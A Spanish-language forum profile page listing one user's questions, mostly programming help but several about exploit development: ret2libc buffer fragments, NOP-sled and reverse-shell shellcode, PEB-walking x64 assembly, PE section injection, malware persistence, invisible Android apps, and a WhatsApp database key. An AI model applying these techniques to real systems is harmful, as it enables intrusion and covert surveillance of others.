Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - proxy_lainux

#1
Hola.

Estoy aprendiendo sobre jquery y javascript, y estoy en la parte donde puedo modificar cosas sin necesidad de recargar la página,  como AJAX, pero estoy haciendo un formulario donde tengo una duda, les explico.

Tengo esta funcion que es para agregar nuevos campos al formulario.

Código: php
 
$(function(){
    let p = 0;
    $('#add').click(function(){
        p++;
        $('#tabla_dina').append('<tr id="row'+p+'">\
            <td><input type="text" class="form-control"></td>\
            <td><input type="text" class="form-control"></td>\
            <td><textarea class="form-control"></textarea></td>\
            <td><input id="B_producto" type="text" class="form-control"></td>\
            <td><input id="B_marca" type="text" class="form-control"></td>\
            <td><input id="B_modelo" type="text" class="form-control"></td>\
            <td><input id="P_precios" type="text" class="form-control"></td>\
        </tr>');
    });


Ahora deseo poder sumar todos los inputs que se hagan con id = "P_precios" y al investigar lo intente de varias formas, pero no logro hacer que se sumen todos los inputs de "P_precios", solo logro hacer que en el input de "Resultado" que esta directamente en el body del archivo, me aparezca el numero del primer campo, y cuando le doy agregar para poner otros campos, no se suman los datos de todos los "P_precio" ni se actualiza "Resultado", solo se actualiza Resultado con el primer campo pero no se suman como esperaría ni nada sin importar que haga.

Pareciera que each solo puede retomar el primer campo y no detecta los siguientes que van apareciendo cuando agrego más campos

Código: php
$(function(){
  $(document).on('input', "#P_precios", function(){
    let calc_sum = 0;
    $("#P_precios").each(function(){
      let get_v_txt = $(this).val();
      if($.isNumeric(get_v_txt)){
        calc_sum += parseFloat(get_v_txt);
        $("#s_total").val(calc_sum);
      }
    });
  });
});


¿Alguien sabe que puedo estar haciendo mal?
#2
Hola

Una pregunta, ¿cómo puedo avanzar en JSON para obtener ciertos datos?. Por ejemplo, cuando tengo algo así...

Código: csharp
{
  nombre: juan,
  apellido: penas,

}


pues solo es colocar  JsonUtility.FromJson y un string Serializable con nombre y apellido;

si tengo algo así...


Código: csharp
{
  nombre: juan,
  apellido: [{
        primero: penas,
        segundo: y penas,
}]
}


ahora es necesario usar un List para apellido e ir colocando dentro los datos de "primero y segundo" y luego con foreach voy retomando esos datos para mostrarlos.

pero, ¿cómo obtengo los datos de la lista de JSON, si es así?

Código: csharp

{
  nombre: juan,
  apellidos: {
        primero: penas,
        segundo: y penas,
    }
}


quisiera poner en un TextBox los datos de "primero y segundo", pero, ¿cómo avanzo de la primer llave a la segunda para tomar los datos?.

Lo estoy programando en C#, estoy aprendiendo a usar ese lenguaje y se me hizo interesante hacerlo con json.

Saludos.
#3
Hola.

Mientras estaba esperando alguna respuesta en un post anterior, sobre socket en x64 sobre nasm, les dejo el link por si pueden ayudarme ahí xP...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

... estaba revisando el foro a ver que cosas nuevas se han publicado y encontre un post de d3adly, sobre " Sockets usando la red TOR C++ ", el cual se me hizo interesante ya que había usado socat y curl, pero no me había puesto a investigar como hacer esa conexión, les dejo el link también para darle credito a su trabajo...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

... hice el mio, pero en C, y funcionó muy bien, pero me di cuenta que al usarlo en el puerto 80, causa un problema ya muy general, y es el descontinuo uso de HTTP por HTTPS, y cada que intentaba hacer una prueba con una página, me bloqueaba un firewall o simplemente no me permitia ver algo si no usaba HTTPS, solo unas cuantas páginas me permitieron el uso de HTTP, así que decidí colocarle la librería de openssl.

Se lo agregué al código, esperando que después del intercambio de handshake, se realice la petición mediante el puerto 443 a una página HTTPS, pero me aparecé un error, les dejó el código que hice.

Código: c
SSL_library_init();
SSL_load_error_strings();

SSL_CTX *ctx = SSL_CTX_new (SSLv23_client_method());
SSL *conn = SSL_new(ctx);

SSL_set_fd(conn, sock);
int err = SSL_connect(conn);

if(err<=0){
  printf("Error err= %d\n", err);
  SSL_shutdown(conn);}


se compila bien, se ejecuta bien, pero hay un problema que no logró entender; al revisar SSL_connect, me aparece un error. En la documentación de openssl, menciona que si SSL_connect regresa 0, es que no hubo exito, si regresa 1 es que hubo exito, y <0 es que hubo un error, y a mi me aparece -1, lo que significa que hubo un error en el attach de los descriptores de (conn y sock), me puse a googlear pero encontré poca información, y hubo alguien que preguntó lo mismo hace más de 1 año, les dejo el link.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pero no tuvo muchas respuestas, segun menciona que se cierra la conexión, lo que me hace pensar que al copiar el descriptor con SSL_set_fd, posiblemente cierra la conexión inicial provocando que el descriptor que va a utilizar SSL obtenga un error.

Pero no se me ocurre que más podría ser, ya intenté cambiar un poco el código pero no lo logré, la única manera de que funcione es si ataco el descriptor de socket con el de SSL antes de que inicie, pero obviamente no sirve de nada, porque no manda nada.

Espero que alguno de ustedes sepa algo al respecto, o sepa si sock5 es o no es capaz de aceptar HTTPS, o se usa otro método y yo lo estoy intentando de una manera imposible de hacer.

Saludos.
#4

Hola, tengo una pregunta para programadores de nasm

Estoy tratando de pasarme de x32 a x64 en ASM, así que se me ocurrio hacer un socket, mediante PE... en 32bits me costo trabajo, pero después de googlear y buscar lo logré, pero ahora me esta costando trabajo ya que en 64bits hay diferencias que se me complican.

Les explico el problema y coloco el código.

Después de nuevamente googlear, y meterme un poco más en esto, logre un avance, con PE obtengo GetProcAddress, después busco Loadlibrary, ws2_32, donde obtengo WSAStartup, como podrán ver voy guardando todo en registros r13 y r14 para después usarlos.

El problema viene cuando intento ejecutar WSAStartup, eso lo podrán encontrar al final del código, uso un espacio de 0x0190, eso en 32bits, me funciona perfecto, pero en 64bits, parece que "sirve", pero en realidad no, ya que lo debuggeo, y RAX me aparece '0', y segun la documentación de Micro$oft, si el return de WSAStartup es 'zero', entonces esta bien, pero en el debuguer, RCX me aparece como un overflow RCX: 00FFFFFFFFFFFFFF

Al principio no sabía que pasaba porque RAX era zero y avanzaba hacia socket, (2,1,6), pero ahí crasheaba... eso significa que no estoy haciendo bien WSAStartup, busque en otras páginas, pero no logré, por eso acudo a ustedes, espero me puedan dar una ayuda sobre que estoy haciendo mal o talvez no lo alineo bien.

Código: asm

section .text

global _start:

_start:

sub rsp, 0x28
and rsp, 0FFFFFFFFFFFFFFF0h

xor rcx, rcx
mov rax, [gs:rcx+0x60]
mov rax, [rax+0x18]
mov rsi, [rax+0x20]

lodsq

xchg rsi, rax

lodsq

mov rbx, [rax+0x20]; MZ

xor r8, r8
mov r8d, [rbx+0x3c]
mov rdx, r8
add rdx, rbx; PE

xor rsi, rsi

mov r8d, [rdx+0x88]; offset
add r8, rbx; export

xor rsi, rsi
mov esi, [r8+0x20];offset
add rsi, rbx;table

xor rcx, rcx
inc rcx
mov r9, 0x41636f7250746547

Gta_p:
inc rcx
xor rax, rax
mov eax, [rsi + rcx * 4]
add rax, rbx
cmp QWORD[rax], r9
jnz Gta_p

xor rsi, rsi

mov esi, [r8+0x24];offset
add rsi, rbx;ordinal

mov cx, [rsi+rcx*2]
xor rsi, rsi
mov esi, [r8+0x1C];offset;
add rsi, rbx; address

xor rdx, rdx

mov edx, [rsi+rcx*4] ;offset
add rdx, rbx;getproc
mov rdi, rdx

mov rcx, 0x41797261
push rcx
mov rcx, 0x7262694c64616f4c
push rcx
mov rdx, rsp
mov rcx, rbx
sub rsp, 0x30
call rdi

add rsp, 0x30
add rsp, 0x10

mov rsi, rax

xor rcx, rcx
push rcx
mov rcx, 0x32335f327377
push rcx
mov rcx, rsp
sub rsp, 0x30
call rsi

add rsp, 0x30
add rsp, 0x10

mov r15, rax

xor rcx, rcx
mov rcx, 0x7075
push rcx
mov rcx, 0x7472617453415357
push rcx
mov rdx, rsp
mov rcx, r15
sub rsp, 0x30
call rdi

add rsp, 0x30
add rsp, 0x10

mov r13, rax;WSAStarup

xor rcx, rcx
mov rcx, 0x4174
push rcx
mov rcx, 0x656b636f53415357
push rcx
mov rdx, rsp
mov rcx, r15
sub rsp, 0x30
call rdi

add rsp, 0x30
add rsp, 0x10

mov r14, rax ;WSASocket

xor rcx, rcx
mov cx, 0x0190
sub rsp, rcx
push rsp
push rcx

call r13


Espero me puedan ayudar.

Saludos.
#5
Hola.

Estoy teniendo un problema con fedora, tenía fedora 31 y kali, pero por trabajo tuve que quitar kali y reinstalar windows, pase por lo de UEFI y su seguridad, pero logre instalar fedora 32 y windows en particiones diferentes.

Ahora estuve actualizandome en bootstrap que tenía un rato de no usarlo, por lo general utilizo un addon que puede modificarme el explorador para las distintas pantallas de dispositivos, pero también suelo verlo en dispositivos reales para ver si realmente se esta visualizando bien, en fedora 31 no tenía problemas, pero ahora en fedora 32 no puedo conectarme de ningún dispositivo a mi compu donde tengo el servidor.

Al principio pensé que era un bloqueo de algún addon y no, después elimine todas las reglas de iptables, le hice un completo flush y acepte conexiones entrantes y tampoco, después hice una prueba  de conexion entrante con netcat, y tampoco, sin embargo, al hacer la misma prueba con netcat desde mi compu a algun dispositivo, si funciona, unicamente las conexiones entrantes no funcionan en fedora, después se me ocurrio en Windows  instalar netcat y pude realizar conexiones entrantes y salientes sin problemas, lo que significa que fedora esta bloqueando todo lo entrante.

También por si las dudas desactive un momento SELinux, ya que a veces hay problemas con httpd.

¿Alguien sabe que más podría intentar?

Ahhh, también, intenté hacer un escaneo con nmap y me aparece como host down... y verifico con ifconfig que realmente este analizando la ip de mi compu pero me dice down cuando realmente esta activo, y con netdiscover me lo capta bien

No sé que más podría hacer, ¿alguna idea?, las pruebas las hice con wifi y ethernet, y da el mismo resultado, cualquier conexión entrante en fedora lo tiene bloqueado

Saludos.
#6
Hola

Estaba haciendo un ejercicio sobre como hacer un exploit con return libc, pero me surgio un problema con una address, al hacer el clásico overflow, puedo conseguir un sigtrap sin problemas, pero en un tutorial que revise, menciona que hay que sacar system y la address de /bin/sh, de eso no hay problema pero resulta que la address de system contiene '00', y se reemplaza con el hex de la siguiente instruccion y me crea un error de segmentación.

system 0xf7b2c700

cuando lo coloco en python... (para esto utilizo el import struct ("I", address), solo lo coloco así para simplificar)

buff = "A"*81
buff += 0xf7b2c700
buff += "A"*4
buff += 0xf7f54f48

buff = "A"*81
buff += 0xf7b2c700
buff += 0xf7f54f48

y cuando reviso en gdb que está pasando, me aparece 0xf7b2c741 o 0xf7b2c748... lo que creo o me imagino que pasa, es que cambia la address por esos ceros de la address de system y por eso no se ejecuta ,así que me gustaría saber... ¿de qué manera podría dejar esos ceros intactos usando python - 0xf7b2c700?

saludos
#7
Dudas y pedidos generales / Duda sobre protección de Tor
Septiembre 08, 2019, 03:53:37 AM
Hola.

Hace un tiempo vi un video de una conferencia de hackers, donde exponían que era posible hackear las webs en Tor, y si, si es posible, pero también habló sobre lograr revelar las ip de los usuarios, de eso no estoy seguro.

Según en Google, encontré que es posible mediante dos formas, la primera es mediante mediante una descarga, si alguien descarga algo de un servidor, se puede saber la ip real, o con un javascript o cookie... La descarga se me hace lógica, pero, se podrá de esa manera saber la ip real?, que no esta cubierta por los inproxies?...

La segunda es instalar un servidor con un exit node, y hacer sniffing del tráfico que salga y con eso obtendría la ip real, pero me imagino que solo en caso de que alguien se conecte a Tor y busque algo en la red normal, pero si podría revelar una ip?

Que opinan?, tengo duda de eso
#8
Hola

¿Alguien sabe cuáles son las formas en como actualmente se auto ejecutan los malware?

Lo más común era hacer un registro en regedit en la zona Run, pero ya es tan viejo que actualmente ya no creo que funcione, los antivirus ya detectan las inyecciones de dll y modificar el entrypoint  de un archivo para ejecutar un código también ya está muy detectado, ¿pero de que forma se hacen persistentes los malware para auto ejecutarse en un sistema actualmente?
#9
¿Alguien sabe como puedo saber e imprimir la cantidad de bytes que tiene en total un archivo como lo haría fseek pero en asm?

Tengo un código con el que puedo leer un archivo pero lo que necesito es que sea capas de imprimir los bytes, como lo hace fseek en C

Código: asm
global _start

section .data

fl db "text.txt",0

section .bss

descr resb 4
buffer resb 1024
len equ 1024

section .text


_start:


mov eax, 5
mov ebx, fl
mov ecx, 0
int 0x80

mov [descr], eax

mov eax, 3
mov ebx, [descr]
mov ecx, buffer
mov edx, len
mov edi, edx
int 0x80


mov edx, eax
mov eax, 4
mov ebx, 1
mov ecx, buffer
int 0x80

mov eax, 6
mov ebx, [descr]
int 0x80

mov eax, 1
mov ebx, 0
int 0x80




#10
Hola

Tiene un buen rato que no intento practicar los exploit en linux, y ya no recuerdo algo que suele pasar al hacer un exploit con gdb.

Cuando cargas una app en gdb se carga en una memoria diferente a cuando se ejecuta de forma normal, y si esp se encuentra en cierta dirección, se carga diferente en memoria al ejecutarlo fuera de gdb, por ejemplo

0xffffd2fa -GDB
0xffffd25c - fuera de GDB


recuerdo que se hace una suma de algo para ejecutar un exploit... recuerdo que al principio le iba atinando poco a poco, algo así.

0xffffd25c -- 0xffffd250 -- 0xffffd24d ...etc

hasta que de repente me daba la shell

después encontre que algo se sumaba para encontrar la verdadera dirección sin tener que atinarle, funcionaba con NOP slide pero ya no recuerdo que se hacia.

¿Alguien de aqui recuerda como se encontraba la verdadera dirección de ESP de una app vulnerable fuera de GDB?

porque cuando busco esp de un buffer en gdb, encuentro ret y busco como brincar a la mitad de los nop para ejecutar la shell, dentro de GDB no hay problema pero cuando lo ejecuto fuera de GDB me dice que hay un error de segmentación y ya no recuerdo que hacia para acomodar la dirección esp y llegar a los NOP.
 
Espero alguien me pueda decir que es lo que se hace para acomodar las cosas dentro y fuera de GDB

Saludos.
#11
¿Alguien tiene algunos libros y ejercicios para practicar lenguaje arm en ensamblador?, de preferencia para android

Saludos.
#12
Hola.

Quería preguntarles, ¿qué opinan que Micro$oft e Intel están por lanzar un hardware que eliminará el ataque ROP utilizado por exploits?, ya existe el DEP, ARSL, Canaries y ahora AntiROP.

¿Creen que salga alguna nueva tecnica para exploit o eso detendra el exploit que conocemos y se volverá una técnica cada vez menos utilizada?, casi como lo que le pasó a los troyanos.
#13
Hola

Estaba practicando los exploit en linux, y en todos me encuentro con una variante, el jmp a esp o a algun registro, usando gdb me presente con un creo "clásico" problema de que en GDB son un poco diferente los datos y posiblemente te funcione dentro de GDB pero afuera no, hay que reacomodar, a veces es cuestion de una suma o resta en calculadora, pero hay veces que debo hacerlo manualmente y es tedioso sumar y restar 1 + 1 o 1 - 1 hasta que me da la shell. Aquí es donde me viene la pregunta, ¿habrá alguna manera de lograr encontrar con exactitud el jump al buffer?, no hablo de usar metasploit, alli con pattern y msfelf lo encuentro, me refiero a la manera tradicional

Encontre que hay manera de hacerlo por fuerza bruta pero no estoy seguro que sea una buena opcion, sin embargo, lo intentare como prueba, pero quisiera saber si es posible encontrarlo con más exactitud o como lo hacen ustedes?

saludos
#14
Hola compañeros.

Estaba haciendo una prueba de overflow con conexion reverse, pero tengo un problema, a ver si alguien sabe que podría ser.

Tengo el bufferoverflow en c y en python hice el payload, etc... todo va bien, al principio hice una payload con metasploit, me funciono perfecto, pero no quise quedarme con eso nada más, así que programe en ensamblador un socket.

El programa tambíen funciona bien, sin ningun problema, lo conecto en netcat para hacer la prueba y funciona, pero aquí viene el problema.

Cuando lo ejecuto los opcodes desde python, hice un seguimiento con gdb y todo va bien, me aparece el bin/bash y regresa la conexión hacia netcat, con metasploit no tengo problema, puedo usar la conexión y mantenerla activa, pero con el de ensamblador, sí se crea una conexión con netcat, pero me sale un aviso

invalid connection to [192.168.xx.xxx] from (UNKNOWN) [192.168.xx.xxx]

y se termina la conexión... y no lo entiendo, si ejecuto directamente desde el archivo de ensamblador, se crea la conexión y se mantiene estable, lo ejecuto desde python y no me aparece mensaje de error alguno, reviso gdb y no me muestra mensaje de error, al contrario, me muestra que si se creo el bash correctamente, la conexión con netcat es correcta pero cuando se crea la conexión me dice inmediatamente invalid connection.

¿Alguien sabe que podría estar pasando?, tengo la creencia de que algo pasa en el buffer que posiblemente termina la conexión pero es solo una suposición, no creo que sea eso, ¿o a caso al final debo colocar alguna interrupción al payload?
#15
Hola

Estoy aprendiendo a eliminar los nulls en ensamblador, lo estoy intentando con algo simple como un hola mundo en nasm, la manera en que lo hice fue haciendo un call y con xor en los demas registros para que pasara algo asi

Código: asm
    global _start
     
    section .data
     
    section .text
     
    _start:
     
    jmp mess
     
    proc:
    xor rax, rax
    mov al, 1
    xor rdi, rdi
    mov dil, 1
    pop rsi
    xor rdx, rdx
    mov dl, 0x12       
    syscall
     
     
    ;exit
     
    xor rax, rax
    mov al, 60
     
    xor rdi, rdi
    mov dl, 11
    syscall
     
    mess:
    call proc
    MSG db 'Hola mundo x64',0x0A
    /code]


Así call mete en la pila MSG y luego lo retoma RSI con un pop, solo que no recuerdo si lo retoma en esp o en esp+4, lo analice en GDB pero no estoy seguro si es rsp o rsp + 4

(gdb) x/s $rsi
0x4000a8 <MSG>: "Hola mundo x64"

¿Alguien me podría decir cual de las dos formas sería la correcta?

[code]|------------
|rsp ---- MSG
---------------------


Código: php
|
|rsp + 4 ---- MSG
/code]

Pero también quisiera saber si hay otra forma de lograr eliminar los null sin tener que hacer el call

así lo había dejado pero me encontré con el problema de no saber como eliminar el null de rsi

[code=asm]global _start

section .data

MSG: db 'Hola mundo x64'
length: equ $-MSG

section .text

_start:

xor rax, rax
mov al, 1
xor rdx, rdx
mov bl, 1
xor rsi, rsi
mov rsi, MSG
xor rdx, rdx
mov dl, length
syscall


;exit

xor rax, rax
mov al, 60

xor rdi, rdi
mov dl, 11
syscall


Si ven, el único que me faltaría es RSI que analizandolo con objdump se vería de ésta forma

Código: php
00000000004000b0 <_start>:
  4000b0: 48 31 c0              xor    rax,rax
  4000b3: b0 01                mov    al,0x1
  4000b5: 48 31 d2              xor    rdx,rdx
  4000b8: b3 01                mov    bl,0x1
  4000ba: 48 31 f6              xor    rsi,rsi
  4000bd: 48 be dc 00 60 00 00 movabs rsi,0x6000dc
  4000c4: 00 00 00
  4000c7: 48 31 d2              xor    rdx,rdx
  4000ca: b2 0e                mov    dl,0xe
  4000cc: 0f 05                syscall
  4000ce: 48 31 c0              xor    rax,rax
  4000d1: b0 3c                mov    al,0x3c
  4000d3: 48 31 ff              xor    rdi,rdi
  4000d6: b2 0b                mov    dl,0xb
  4000d8: 0f 05                syscall


¿Pero que otra forma se les ocurre que podría eliminar esos null's?

Y ya de paso otra pregunta más, RET solo se utiliza en EBP o también en ESP, me explico

Código: php
|
|rsp + 8
|------------
|rsp + 4
|-----------
|rbp
|------
|ret
|-------
|rbp + 8
--------------

---------------------------------
Código: php
|
|rsp + 8
|------------
|rsp + 4
|-----------
|ret
--------------

#16
Hola

Estoy haciendo un código para conectarme mediante android y mi PC, pero tengo un problema, cuando mando información me aparece todo en horizontal


holamundoarchivo1archivo2


y me gustaría que me apareciera en forma vertical

hola
mundo
archivo1
archivo2

Esta parte es como mando la información en android

Código: java
 ptrw= new PrintWriter(sr.getOutputStream());
                                ptrw.write(fileList.get(i).getName());
                                ptrw.flush();



Y esta parte es como la recibo en Java en mi PC

Código: java
entr = new BufferedReader(new InputStreamReader(sok.getInputStream()));
               
               while((content = entr.readLine()) != null){
               
                System.out.print(content);
                System.out.flush();
               }


¿Alguien sabe como podría hacer que me aparezca en vertical la información?

Saludos
#17
Hola

Estoy intentando aprender a hacer una aplicación que se inicie de forma invisible, estuve buscando y encontré que el siguiente código lo podría esconder y si lo hace... también modificando *.xml

Código: java
 getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
        getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);


pero según leí, se puede seguir usando la pantalla normalmente, sin embargo, cuando toco la pantalla se queda estática, y es porque la app esta en primer plano y no puedo hacer nada, la única manera es oprimiendo el botón "back" y la app queda en background

¿alguien sabe cómo se puede quedar la app en primer plano, invisible y que se puede seguir usando la pantalla normalmente?
#18
Hola, vengo con una duda algo extraña

Ayer mi primo me explicó que estaba revisando freenet, pero que se le hizo aburrido porque casi no hay nada o es inproxy y todo está reservado en sólo amigos, entonces encontró una página de paranormal y descargo dos vídeos, pero olvido configurar el firewall del módem, lo dejó sin protección por no saber configurar el puerto, lo cual es muy estúpido de su parte... pero bueno, la cosa está en que mientras descargaba el vídeo, estaba viendo desde su celular un cortometraje en YouTube, cuando derepente apagó su compu y el módem, y me dijo que mientras escuchaba el vídeo, se le bajó el volumen.... y se le hizo raro, así que revisó el volumen y se dio cuenta que el volumen había regresado a la zona azul... para los que usan android recordarán que Android mantiene el audio en una zona azul y al pasar al rojo te avisa que debes tener precaución porque es dañino para los oídos, etc.. en ese momento le subió y le apareció ese mismo mensaje, así que fue cuando apagó todo... afortunadamente usó freenet de manera que no hubieran muchos accesos, pero aún así no sabe porque el celular bajo el volumen, dice que no recibió nada, ni un apk, ni un mensaje, nada... así que yo le dije que posiblemente el controlador de audio de su celular tuvo un error y se reinició dejándolo en modo "default", ya que su cortometraje duraba como 30 segundos y lo repetía y repetía.

Y tenemos esa duda, ¿creen que alguien haya tenido acceso, al posiblemente dejar registros en la descarga del contenido mediante freenet o creen que Android tuvo un fallo en su controlador y se reinició el sonido en default como protección?
#19
Hice un código sencillo para convertir localtime desde números introducidos en la estructura tm de time.h

pero no encuentro cómo pasarlo a Java ya que no llevo mucho tiempo usándolo, ¿me podrían decir que funciones o que buscar para lograr hacer lo mismo en java?

les dejo el código que necesito pasarlo a java

Código: c

#include <stdio.h>
#include <string.h>
#include <time.h>


int main(){

char buffer[256];
const char *formatoS = "%Y.%m.%d - %H:%M:%S";

struct tm dat;
time_t timp = 1483256049;
localtime_r(&timp, &dat);

strftime(buffer, 256, formatoS, &dat);

printf("%s", buffer);

}

#20
¿Cómo logro hacer una petición sql cuando hay un @?

tengo en una columna de la que me gustaría sacar información, pero hay un problema...cuando lo hago me menciona este error

SQLITE_ERROR] SQL error or missing database (near "@s": syntax error)

trato de llamar un dato, por ejemplo

hola@mundo... pero no me deja

¿Alguien sabe la manera correcta de usar "WHERE hola@mundo" en SQL?
#21
Hola

Hace tiempo se usaba esto para poder entrar a la base de datos de Whatsapp

346a23652a46392b4d73257c67317e352e3372482177652c

Me imagino eso ya no sirve, e investigando dice que se necesita ahora el cypter y la key para desencriptar el db... pero ¿qué información me serviría?, porque encuentro muchos programas para desencriptar los datos, pero ya te dan todo, los datos en un html o el mismo programa ya te muestra toda la información dentro del archivo, pero me gustaría intentar hacer el mio.

Yo recuerdo que con sqlite me conectaba a la base de datos y usando la key entraba como cualquier DB, y sólo me tocaba ir mostrando las tablas, etc... pero ahora por lo visto necesito desencriptar el db con una key, para poder tener acceso a los datos, los cuales no sé si sea necesario la key que coloque arriba o ya es cosa del pasado.

Espero me puedan orientar, me gustaría poder analizar la base de datos, pero antes debo saber como desecriptar para obtener el db original, e intentar conectarme con sqlite en alguna aplicación.
#22
Hola

Estoy haciendo una aplicación para descargar imágenes, a veces necesito descargas varias y se me hace muy pesado hacerlo uno por uno, pero me surgió una duda, estoy haciendo uso de Curl.

Lo primero que hice fue descargar el código fuente de la página y guardar en un buffer el código, al parecer ya puedo hacer uso de ella con los array, pero ahora viene algo que no sé cómo funcionaría mejor. Tengo la idea de buscar los links de la imágenes y separarlas... por ejemplo

Código: html5
if (!_W.getCookie('506442620979584765_cookie_policy') || (_W.getCookie('506442620979584765_cookie_policy') !== cookie_content)){
if (cookie_location === 'top' || cookie_location === 'bottom'){

.....

<a href = "imagenes/imagen1.jpg" </a>


Me gustaría buscar en el array <a href>, al encontrarlo, ir separando los links y guardarlos
Código: html5

"imagenes/imagen1.jpg"
"imagenes/imagen2.jpg"
"imagenes/imagen3.jpg"


Ya separados, guardar el nombre de la imagen con fopen, hacer una petición (me imagino que debo usar GET), y guardar los bytes de descarga, para finalmente obtener las imágenes.

Pero necesito ideas de cómo lograrlo, tengo en el (array char) el código fuente, ¿pero de que manera busco "<a href" para encontrar los links de las imágenes?, quería usar un for que me buscara en el array la parte deseada y con strcmp verificar si es lo que estoy buscando, pero siempre me sale este mensaje cuando buscaba alguna parte del código

Código: php
aviso: el paso del argumento 1 de 'strcmp' crea un puntero desde un entero sin una conversión [-Wint-conversion]
     if(strcmp(buff[a], 'c') == 0){
               ^~~~
In file included from downweb.c:3:0:
/usr/include/string.h:140:12: nota: se esperaba 'const char *' pero el argumento es de tipo 'char'
extern int strcmp (const char *__s1, const char *__s2)


pero no sé si haya otra manera de hacerlo, que no sea manualmente ya que no siempre se encontrarán en la misma posición, ¿Ideas de que podría hacer en ese caso?
#23
Hola

Estaba de ocioso, y quise ver si en Windows 10 todavía se podía hacer los RunPE, estoy un poco óxidado y estuve buscando los antoguos manuales que rondan en internet. Quise hacer una nueva sección para ejecutar un MessageBox.

Pero no sé si lo hice bien, porque Notepad.exe queda con la misma cantidad de bytesy no me menciona ningun mensaje de error, ni me avisa que ya no es un DOS, el icono de notepad aparece bien, lo que significa que en téoria, lo hice bien.

pero cuando lo ejecuto, me dice "No se puede ejecutar esta aplicación en el equipo". Y esto es confuso, ya que no sé si está mal o el sistema detecto algo y no permite que se ejecute.

Alguien aquí lo ha hecho con exito, para entonces describir los pasos que hice, talvez algo esta mal y por eso no me funciona... Lo que no recordé bien fue sobre los alinear, pero no creo haberme confundido, ya que Notepad quedó bien, o eso es lo que yo creo.

Saludos





Edición:

Bueno, ya lo solucioné, me había equivocado en la modificación de SizeOfImage y VirtualAddress

me marcaba 35000 y con la operación confundí la alineación y coloque 40000, en vez de su multiplo siguiente 36000 y lo mismo me pasó con VirtualAddress, pero tengo una duda sobre unas secciones

Para encontrar VirtualAddress, ¿es sumando "VirtualAddress + VirtualSize" o es sumando "VirtualAddress + SizeOfRawData"?

Para encontrar SizeOfRawData, ¿es alineando la cantidad que yo agrego y ya, verdad?, por ejemplo

si mi sección tiene 0x15 y FileAlignment es 0x200 entonces sería 0x15 alinear 0x200 = 0x200 --- o también si fuera 0x240 alinear 0x200 = 0x400 y asi sucesivamente, cierto?, SizeOfRawData solo se obtiene verificando tus datos y FileAlignment, nada mas, ¿cierto?

También trate de meter código asm u opcodes del asm, y buscando encontre que se debe reacomodar ImageBase y AddressOfEntryPoint... ya los encontre, supuestamente se suman y ahí es donde se inicia el código... pero no se que hacer después

ya que tengo ImageBase y AddressOfEntryPoint, ¿que se debe hacer, o como se modifica eso?

Perdon si no pongo código, pero lo estoy haciendo manualmente porque ya no recordaba varias cosas y otras no las aprendí, solo estoy usando códigos para facilitarme un poco las busquedas, porque tener que contar byte por byte para llegar a una dirección es horrible.

Espero me puedan ayudar, gracias
#24
Tengo una duda con el uso de funciones en ASM

hago una funcion y en el hago dos push

Código: asm

push ebp
mov ebp, esp

push dword [ebp + 0x0C]
push ebx
call comparar

mov esp, ebp
pop ebp


En el stack quedaría algo así, ¿cierto?

Código: asm
push dword[ebp + 0x0C] - esp 0x08
|---------
|
|push ebx - esp 0x04


Se me ocurrio hacer una comparación como en C, entonces lo haría parecido a strcmp afuera del push ebp, como volveré a usar ebx lo vuelvo a guardar

Código: asm

comparar:
push ebx


Pero tengo una duda, si hago eso, ¿entonces quedaría así en el stack?

Código: asm
|
|push dword[ebp + 0x0C] - esp 0x0C
|---------
|
|push ebx - esp 0x08
|----------
|
|push ebx - esp 0x04


¿Y al final solo necesitaría hacer esto?

Código: asm

comparar:
push ebx
loop:
mov eax, [esp + 0x0C]
mov al, byte [eax]
mov ebx, [esp + 0x08]
cmp al, byte [ebx]
....

pop ebx


Si así quedaría todo entonces al hacer pop, ¿quedaría de esta forma nuevamente y regresaría a la funcion anterior?

Código: asm
|push dword[ebp + 0x0C] - esp 0x08
|---------
|
|push ebx - esp 0x04
#25
Hola

Estaba haciendo un shell en linux en nasm, saque los opcode y los agregue a la clásica shellcode en C para ejecutarlo, y no tuve problemas, pero me surgieron unas dudas que espero me puedan ayudar a entender.

La primera, es saber si, ¿cada vez que haga una shell y quiera sacar los opcode es necesario usar push y guardar en el stack todo?, ya que hice dos formas de ejecutar execv; una que es la que ronda por internet y otra hecha por mi. La que ronda por internet usan bastante push ya sea para /bin/sh como para los argumentos de execv, yo intenté usar una variable en section .data, lo que me di cuenta que necesito reemplazar las dirección que me da de section .data por /bin/sh en hexadecimal

entonces acabo haciendo lo mismo que usar directamente push /bin/sh

Pero recordé un código de una shell TCP y me di cuenta que también pushean todo, algo así

push 0x1
pop ebx
push 0x2
pop ecx

en vez de meterlo directamente

mov ebx, 0x1
mov ecx, 0x2

¿entonces es necesario meter en el stack todo en casos de shellcodes o será simplemente una coincidencia o una forma diferente de programar?

¿Y que pasa con los opcode "Cero" que si son necesarios?

por ejemplo, IP - 192.167.0.56

en hex quedaria C0A70038, pero si se dan cuenta hay cero "00", según en la shellcode no puede haber nulls y se deben quitar los ceros, y aunque en la ip no usa NULL sino es mas un cero de integer, objdump me lo quita al ser 0x00, entonces queda incompleto, en este caso se lo agregue manualmente y me funcionó, ¿pero que pasaría si hay más instrucciones con 00?, ¿tendría que buscarlos y agregarlos directamente en caso de que objdump me los elimine?, y ¿eso no perjudicaría la shellcode al tener que agregarle algún 0x00? porque tener que buscar en la shellcode byte por byte a ver si no me falto algo, creo no es muy optimo pero no se si sea normal.

Lo cual me llevó a otra duda; cuando busque el código de la shell, quise verificar su funcionamiento y saque los opcode, pero me di cuenta que objdump no me dio correctamente todo, el puerto solo me dio 1 byte de los 2

0x7968

y en la shellcode me dejo solamente

0x79

y de igual manera la shell de /bin/sh no me dio todo, le hizo falta 1

/x68/x73/x2f/x6e/x69/x62/x2f/x2f -- así debería quedar, pero me dio lo siguiente

/x68/x73/x2f/x69/x62/x2f/x2f

¿será algún detalle de que sea en 64 bits o algo parecido?, porque usé el comando de la página No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

cuando uso objdump -d me muestra bien todo, pero con el comando de commandlinefu me falló como les mencioné

bueno, espero haberme explicado lo mejor posible mis dudas.

Saludos
#26
Hola.

